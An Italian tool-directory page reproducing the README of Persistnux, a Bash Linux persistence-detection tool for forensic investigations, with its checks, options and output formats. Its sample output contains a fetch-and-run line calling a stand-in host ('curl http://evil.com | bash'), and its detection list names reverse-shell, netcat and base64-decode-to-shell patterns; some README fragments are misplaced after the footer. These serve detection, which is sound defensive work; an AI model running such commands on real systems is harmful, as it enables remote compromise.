Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Persistnux — Strumento di rilevamento della persistenza su Linux basato su Bash per indagini DFIR. Scansiona più di 15 meccanismi di persistenza (systemd, cron, moduli del kernel, SSH, container) con punteggio di confidenza e genera report CSV/JSONL per analisi forensi. | Kitploit
Strumenti/GitHubGitHub/go-lanz/persistnux
Escalation di PrivilegiMeccanismi di PersistenzaAnalisi delle VulnerabilitàInformatica ForenseAnalisi MalwareDigital ForensicsApprendimento e FormazioneRisposta agli IncidentiEscape dal ContainerLab e Pratica
GitHubgo-lanz/persistnux
31 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Persistnux

Strumento di rilevamento della persistenza su Linux basato su Bash per indagini DFIR. Scansiona più di 15 meccanismi di persistenza (systemd, cron, moduli del kernel, SSH, container) con punteggio di confidenza e genera report CSV/JSONL per analisi forensi.

Vedi Repository

Persistnux

Uno strumento completo per la rilevazione di persistenza su Linux per indagini di Digital Forensics e Incident Response (DFIR).

Panoramica

Persistnux è uno strumento basato su bash progettato per identificare i meccanismi di persistenza Linux noti utilizzati dagli aggressori per mantenere l'accesso a sistemi compromessi. Esegue controlli completi su tutto il sistema e genera report dettagliati in formato CSV e JSONL per analisi successive.

Caratteristiche

  • Rilevazione Completa: Copre tutti i principali meccanismi di persistenza Linux
  • Analisi Live: Viene eseguito direttamente su sistemi live con dipendenze minime
  • Output Dettagliato: Genera report CSV e JSONL con hash dei file, metadati e punteggi di confidenza
  • Root e Non-Root: Funziona con o senza privilegi di root (con ambito limitato per non-root)
  • Pronto per DFIR: Formati di output compatibili con strumenti e flussi di lavoro DFIR comuni
  • Punteggio di Sospetto: Punteggio di confidenza automatico (BASSO, MEDIO, ALTO, CRITICO) basato su indicatori
  • Riduzione dei Falsi Positivi: Integrazione con il gestore pacchetti e whitelist di servizi noti come sicuri
  • Analisi Temporale: I file modificati di recente ricevono punteggi di confidenza più alti
  • Corrispondenza di Pattern: Rileva reverse shell, pattern di download-esecuzione, tecniche di offuscamento

Meccanismi di Persistenza Rilevati

1. Servizi Systemd

  • File di servizio (.service) in /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system
  • Servizi systemd a livello utente
  • Filtra i servizi disabilitati e i servizi senza ExecStart
  • Rileva comandi ExecStart sospetti
  • Verifica l'integrità del pacchetto dei binari/script eseguiti

2. Cron Jobs & Attività Pianificate

  • Crontab di sistema (/etc/crontab, /etc/cron.d/*)
  • Directory di esecuzione periodica (/etc/cron.{daily,hourly,weekly,monthly})
  • Crontab utente per tutti gli utenti (modalità root)
  • Job at
  • Pattern di comandi sospetti nelle attività pianificate
  • File ACL /etc/cron.allow e /etc/cron.deny — voci che riferiscono utenti inesistenti segnalate

3. Profili Shell & File RC

  • Profili di sistema (/etc/profile, /etc/bash.bashrc, /etc/zshrc)
  • Script Profile.d (/etc/profile.d/*)
  • Profili utente (.bashrc, .bash_profile, .zshrc, .profile, ecc.)
  • Configurazioni Fish shell
  • Rileva comandi malevoli nei file di profilo

4. Script Init & RC.local

  • /etc/rc.local e varianti
  • Script init SysV (/etc/init.d)
  • Script di runlevel (/etc/rc*.d)
  • Rileva comandi di download/esecuzione sospetti

5. Moduli del Kernel & Precaricamento Librerie

  • Configurazioni LD_PRELOAD (/etc/ld.so.preload) — ogni libreria elencata verificata tramite il gestore pacchetti
  • Configurazioni del linker dinamico (/etc/ld.so.conf, /etc/ld.so.conf.d/) — integrità del file di configurazione + file .so in percorsi non standard scansionati e verificati
  • /etc/environment LD_PRELOAD/LD_LIBRARY_PATH — file env segnalato come ALTO; percorsi di librerie referenziate verificati (non gestiti/modificati → CRITICO)
  • Parametri dei moduli del kernel (/etc/modprobe.d/, /etc/modprobe.conf) — integrità dei file; direttive install analizzate per bersagli di comandi sospetti; blacklist di moduli di sicurezza (apparmor, selinux, seccomp) segnalati come ALTI
  • Configurazioni di auto-caricamento dei moduli del kernel (/etc/modules, /etc/modules-load.d/) — integrità della configurazione; nomi dei moduli referenziati risolti in file .ko tramite e verificati

6. Meccanismi Aggiuntivi

  • Voci di avvio automatico XDG (.config/autostart, /etc/xdg/autostart) — tutte le home utente scansionate quando root
  • File di ambiente di sistema (/etc/environment) — percorsi di librerie LD_PRELOAD/LD_LIBRARY_PATH verificati
  • Configurazioni sudoers e drop-in (/etc/sudoers, /etc/sudoers.d/) — pattern NOPASSWD/ALL → ALTO
  • PAM (Moduli di Autenticazione Pluggable):
    • Tutti i moduli .so verificati tramite il gestore pacchetti; direttive @include seguite; /etc/pam.conf incluso
    • Analisi script pam_exec.so — script mancanti/sospetti → CRITICO
    • Rilevamento relay pam_python.so / pam_perl.so — script estratto e analizzato
    • Rilevamento file hook pam_script.so in

8. Persistenza SSH

  • Per utente ~/.ssh/authorized_keys — chiavi modificate di recente segnalate; contenuto dell'opzione command= analizzato per pattern sospetti
  • Per utente ~/.ssh/rc — presenza segnalata MEDIO; contenuto sospetto/reverse shell → ALTO/CRITICO

9. Hijacking di Binari

  • Verifica i binari di sistema installati rispetto al database dei pacchetti (dpkg -V su Debian/Ubuntu, rpm -Va su RHEL/CentOS)
  • File modificati in /usr/bin, /usr/sbin, /bin, /sbin → risultato CRITICO
  • Moduli PAM modificati in /lib/security → risultato CRITICO
  • I conffiles (file di configurazione dpkg) sono esclusi per evitare falsi positivi

10. Bootloader & Initramfs

  • Iniezione del parametro del kernel init= di GRUB (/etc/default/grub, /etc/default/grub.d/*.cfg)
  • Script init a livello root in /
  • Moduli initramfs Dracut con hook pre-pivot che scrivono in /sysroot/etc/shadow
  • Script hook initramfs-tools di Ubuntu in /etc/initramfs-tools/scripts/ e /hooks/
  • Immagini /boot/initrd.img-* modificate di recente (basate su mtime)

11. Manipolazione di Polkit (PolicyKit)

  • File .pkla con ResultAny/ResultInactive/ResultActive=yes incondizionati
  • Concessioni di identità wildcard (unix-user:*)
  • File .rules con polkit.Result.YES incondizionato (Polkit basato su JavaScript >= 0.106)

12. D-Bus & NetworkManager

  • Registrazione malevola del servizio di sistema D-Bus Exec= (/usr/share/dbus-1/system-services/)
  • Direttive wildcard delle policy D-Bus allow own="*" o send_destination="*"
  • Script dispatcher di NetworkManager (/etc/NetworkManager/dispatcher.d/)

13. Regole Udev

  • Direttive Udev RUN+= che eseguono comandi o script arbitrari (/etc/udev/rules.d/, /lib/udev/rules.d/)
  • Regole iniettate a runtime in /run/udev/rules.d/
  • Pattern di delega at/cron in RUN+= (comune bypass delle restrizioni di primo piano)

14. Fuga dal Contenitore

  • Contenitori Docker privilegiati (--privileged, --pid=host)
  • Bind-mount di docker.sock nei contenitori (controllo completo dell'host tramite API Docker)
  • nsenter -t 1 negli entrypoint dei contenitori o nei Dockerfile
  • Dockerfile in directory scrivibili dall'utente contenenti tecniche di fuga

15. Controlli Avanzati su Binari e Privilegi

  • Scansione attiva del filesystem per file SUID/SGID nelle directory di sistema
  • Scansione delle capacità dei file tramite getcap — cap_setuid+ep su GTFOBins → CRITICO
  • Hijacking di binari: originali rinominati (.original, .old, .bak, .real) con script wrapper
  • Account non-root con UID 0 in /etc/passwd
  • Mascheramento della shell tramite spazio finale nel campo shell di /etc/passwd
  • Account di sistema (UID 1-999) con file SSH authorized_keys

Installazione

root@kitploit:~
# Clona il repository
git clone https://github.com/yourusername/persistnux.git
cd persistnux

# Rendi eseguibile lo script
chmod +x persistnux.sh

Utilizzo

Utilizzo Base (Analisi Live)

root@kitploit:~
# Esecuzione con impostazioni predefinite (mostra solo risultati sospetti)
sudo ./persistnux.sh

# Mostra l'aiuto e tutte le opzioni
./persistnux.sh --help

# Esecuzione come utente normale (ambito limitato)
./persistnux.sh

Opzioni di Filtraggio (v2.4+)

Per impostazione predefinita, Persistnux mostra solo risultati sospetti (confidenza MEDIA, ALTA, CRITICA) per ridurre il rumore e concentrarsi sulle minacce potenzialmente pericolose.

root@kitploit:~
# Predefinito: Mostra solo risultati sospetti
sudo ./persistnux.sh

# Mostra tutti i risultati inclusa la linea di base (confidenza BASSA)
sudo ./persistnux.sh --all
# OPPURE
sudo FILTER_MODE=all ./persistnux.sh

# Mostra solo risultati con confidenza ALTA e CRITICA
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh

# Combina filtri: solo confidenza ALTA
sudo ./persistnux.sh --min-confidence HIGH

Directory di Output Personalizzata

root@kitploit:~
# Specifica una directory di output personalizzata
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh

# Combina con il filtraggio
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh

File di Output

Per impostazione predefinita, Persistnux crea una directory di output ./persistnux_output/ contenente:

  • persistnux_<hostname>_<timestamp>.csv - Report in formato CSV
  • persistnux_<hostname>_<timestamp>.jsonl - Report in formato JSONL (un oggetto JSON per riga)
  • persistnux_<hostname>_<timestamp>_report.txt - Report di riepilogo leggibile con conteggi dei risultati e metadati di scansione

Formato di Output

Formato CSV

root@kitploit:~
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"

Formato JSONL

root@kitploit:~
{
  "timestamp": "2026-01-23T10:30:00Z",
  "hostname": "webserver01",
  "category": "Systemd Service",
  "confidence": "HIGH",
  "file_path": "/etc/systemd/system/example.service",
  "file_hash": "abc123...",
  "file_owner": "root:root",
  "file_permissions": "644",
  "file_age_days": "3",
  "package_status": "unmanaged",
  "command": "/opt/example.sh",
  "description": "example.service",
  "matched_pattern": "suspicious_script_content",
  "matched_string": "curl http://evil.com | bash"
}

Campi Chiave dell'Output

  • matched_pattern: Il pattern di rilevamento che ha attivato il risultato (es. suspicious_script_content, modified_package, unmanaged_binary)
  • matched_string: Il contenuto sospetto effettivo trovato (riga completa, non solo la parola chiave)

Punteggio di Confidenza

Persistnux utilizza un punteggio di confidenza intelligente per ridurre i falsi positivi:

  • BASSO: Configurazione di sistema standard, scarsa sospettosità (spesso file gestiti da pacchetti)
  • MEDIO: Potenzialmente sospetto ma potrebbe essere legittimo
  • ALTO: Pattern sospetti rilevati (es. curl/wget in cron, esecuzione in /tmp, reverse shell)
  • CRITICO: Prova definitiva di manomissione — fallimento della verifica dell'integrità del pacchetto, SUID/SGID su un file sospetto, anomalia del modulo PAM, generatore systemd in posizione effimera, o codice interprete inline con payload ad alta entropia

Riduzione dei Falsi Positivi (v1.2+)

Persistnux ora include diverse funzionalità per ridurre i falsi positivi:

  1. Integrazione con il Gestore Pacchetti: I file gestiti da dpkg (Debian/Ubuntu) o rpm (RedHat/CentOS) ricevono punteggi di confidenza inferiori
  2. Whitelist di Servizi Noti: I servizi comuni dei vendor (systemd-, dbus-, snap.*, ecc.) vengono saltati automaticamente
  3. Punteggio Temporale: I file modificati di recente (<7 giorni) ricevono punteggi di confidenza più alti
  4. Analisi Contestuale: Combina più indicatori per una rilevazione più accurata

Indicatori Sospetti

Persistnux segnala automaticamente gli elementi con confidenza maggiore quando rileva:

Pattern Basati su Rete

  • Reverse shell: bash -i >& /dev/tcp/, sh -i >& /dev/udp/
  • Strumenti di rete: nc, netcat, socat, telnet
  • Operazioni socket in linguaggi di scripting: python -c 'import socket'

Pattern di Download ed Esecuzione

  • Strumenti di download: curl | bash, wget | sh
  • Download con esecuzione: curl URL -o /tmp/file && chmod +x

Tecniche di Offuscamento

  • Codifica: base64 -d | bash, eval $(echo BASE64)
  • Esecuzione dinamica: eval, exec

Posizioni Sospette

  • Directory temporanee: /tmp, /dev/shm, /var/tmp
  • Directory e file nascosti

Manipolazione dei Permessi

  • Rendere i file eseguibili: chmod +x, chmod 777
  • Manipolazione del bit SUID: chmod u+s

Requisiti

  • Bash 4.0+
  • Utility Unix standard: find, grep, stat, sha256sum, awk, file
  • Opzionale: systemctl, lsmod, modinfo, getcap, dpkg/rpm (per controlli specifici)
  • Nessuna dipendenza da interpreti (bash puro + coreutils; non richiede python/jq)
  • Accesso root/sudo consigliato per un'analisi completa

Testato Su / Compatibilità

Nota: Lo strumento è principalmente testato su sistemi Ubuntu/Debian. Le distribuzioni RedHat, Fedora e basate su RPM hanno il supporto del gestore pacchetti implementato nel codice ma non sono state validate in ambienti di test live. Contributi e report di test per distribuzioni basate su RPM sono benvenuti.

Test / Benchmark

Persistnux è confrontato con PANIX, che installa gli stessi meccanismi di persistenza che Persistnux cerca. L'harness ripetibile in tests/panix_benchmark.sh applica ogni tecnica PANIX, esegue Persistnux e conferma la rilevazione tramite un diff di base. Ogni tecnica PANIX basata su file applicabile sulla macchina di test viene rilevata con confidenza MEDIA+. Vedi PANIX_BENCHMARK.md per la tabella di copertura completa e la metodologia.

⚠️ Il benchmark installa backdoor reali — eseguilo solo in una VM monouso.

Roadmap

  • Modalità di analisi offline per immagini disco forensi
  • Integrazione con la raccolta UAC (Unix-like Artifacts Collector)
  • Estendere il benchmark PANIX ai vettori bootloader/initramfs/LKM su una VM completa

Risorse

https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX

Contribuire

I contributi sono benvenuti! Sentiti libero di inviare pull request o aprire issue per:

  • Rilevazione di nuovi meccanismi di persistenza
  • Correzione di bug
  • Miglioramenti alla documentazione
  • Ottimizzazioni delle prestazioni
  • Formati di output aggiuntivi

Licenza

Licenza MIT - Vedi il file LICENSE per i dettagli

Riconoscimenti

Sviluppato per la comunità DFIR per assistere nelle indagini di incidenti Linux e nelle analisi forensi.

Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati, risposta agli incidenti e analisi forensi. Gli utenti sono responsabili di assicurarsi di avere l'autorizzazione appropriata prima di eseguire questo strumento su qualsiasi sistema.

Contatti

Per domande, problemi o contributi, utilizza il tracker dei problemi su GitHub.

Scarica lo strumento
modinfo
  • Moduli del kernel caricati (lsmod) — enumerazione e verifica dell'integrità
  • /etc/security/
  • Integrità dei file di configurazione — configurazioni PAM di proprietà del pacchetto modificate → CRITICO
  • Verifica libreria LD_PRELOAD in pam_env.conf e ~/.pam_environment
  • Scansione generale di /etc/security/
  • Script MOTD (/etc/update-motd.d/) — verifica pacchetto; modificato → CRITICO
  • Helper di credenziali Git e impostazioni core.pager — analisi del contenuto per tutti gli utenti
  • Web shell nelle directory web comuni
  • DistribuzioneStatoNote
    Ubuntu 22.04 LTS✅ TestatoPiattaforma principale di sviluppo e test
    Ubuntu 20.04 LTS✅ TestatoPienamente supportato
    Debian 11/12✅ TestatoBasato su dpkg, stesse convenzioni di percorso
    Kali Linux (rolling)✅ TestatoUtilizzato per il benchmark di rilevamento PANIX (vedi sotto)
    RedHat / RHEL⚠️ Non ancora testatoIl supporto rpm è implementato ma non verificato su sistemi live
    Fedora⚠️ Non ancora testatoIl supporto rpm è implementato ma non verificato su sistemi live
    CentOS / AlmaLinux / Rocky⚠️ Non ancora testatoIl supporto rpm è implementato ma non verificato su sistemi live